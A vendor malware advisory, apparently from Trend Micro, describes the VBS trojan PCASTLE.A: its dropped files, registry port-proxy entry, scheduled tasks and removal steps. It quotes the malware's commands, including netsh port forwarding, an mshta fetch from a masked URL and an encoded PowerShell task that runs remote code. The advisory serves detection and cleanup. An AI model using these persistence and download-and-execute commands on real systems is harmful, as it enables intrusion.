Trojan.VBS.PCASTLE.A

August 15, 2019
 Modified by: Jay Garcia
 ALIASES:

VBS.Downloader.Trojan (Symantec)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Dropped by other malware, Downloaded from the Internet

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It does not have any propagation routine.

It does not have any backdoor routine.

  TECHNICAL DETAILS

File Size:

1,867 bytes

File Type:

VBS

Memory Resident:

Yes

Initial Samples Received Date:

14 Aug 2019

Payload:

Drops files, Connects to URLs/IPs

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • %Windows%\Temp\setup-install.exe
  • netsh firewall add portopening tcp 65533 DNSd
  • netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

Other System Modifications

This Trojan adds the following registry entries:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\PortProxy\v4tov4\
tcp\*
65533 = "1.1.1.1/53"

Propagation

This Trojan does not have any propagation routine.

Backdoor Routine

This Trojan does not have any backdoor routine.

Rootkit Capabilities

This Trojan does not have rootkit capabilities.

Dropping Routine

This Trojan drops the following files:

  • %Windows%\BvLEW.exe <- copy of %Temp%\svchost.exe
  • %Temp%\hash.txt
  • %Temp%\svchost.exe

(Note: %Temp% is the Windows temporary folder, where it usually is C:\Windows\Temp on all Windows operating system versions.)

Other Details

This Trojan does the following:

  • It moves the file %Temp%\dig.exe to %Windows%\DVFdex.exe
  • Downloads the contents of the following URLs and executes it in memory:
    • http://v{BLOCKED}.com/v{user domain}
    • http://w{BLOCKED}.com/page.html?p{computer name}

It does not exploit any vulnerability.

It adds the following scheduled tasks:

  • If %System%\WindowsPowerShell does not exist:
    • Task Name: Autocheck
    • Action: cmd.exe /c mshta http://w{BLOCKED}.com/page.html?p{computer name}
    • Task Name: Autostart
    • Action: %Windows%\DVFdex.exe
    • Task Name: escan
    • Action: %Windows%\BvLEW.exe
  • If %System%\WindowsPowerShell exists:
    • Task Name: BvLEW
    • Action: %Windows%\BvLEW.exe
    • Task Name: FRBptmys
    • Action: %Windows%\DVFdex.exe
    • Task Name: Microsoft\windows\Bluetool
    • Action: powershell -ep bypass -e powershell -nop -ep bypass -e [malicious code from http://v{BLOCKED}.com/v{user domain}]

NOTES:

However, as of this writing, the said sites are inaccessible.

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

15.298.04

FIRST VSAPI PATTERN DATE:

14 Aug 2019

VSAPI OPR PATTERN File:

15.299.00

VSAPI OPR PATTERN Date:

15 Aug 2019

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restart in Safe Mode

[ Learn More ]

Step 4

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:

  • Autocheck - cmd.exe /c mshta http://w{BLOCKED}.com/page.html?p{computer name}
  • Autostart - %Windows%\DVFdex.exe
  • escan - %Windows%\BvLEW.exe
  • BvLEW - %Windows%\BvLEW.exe
  • FRBptmys - %Windows%\DVFdex.exe
  • Microsoft\windows\Bluetool - powershell -ep bypass -e powershell -nop -ep bypass -e [malicious code from http://v{BLOCKED}.com/v{user domain}]

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 5

Delete this registry key

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PortProxy\v4tov4\tcp\*
    • 65533 = "1.1.1.1/53"

Step 6

Search and delete these components

[ Learn More ]
There may be some components that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %Windows%\BvLEW.exe
  • %Temp%\hash.txt
  • %Temp%\svchost.exe

Step 7

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Trojan.VBS.PCASTLE.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.

Step 8

Scan your computer with your Trend Micro product to delete files detected as Trojan.VBS.PCASTLE.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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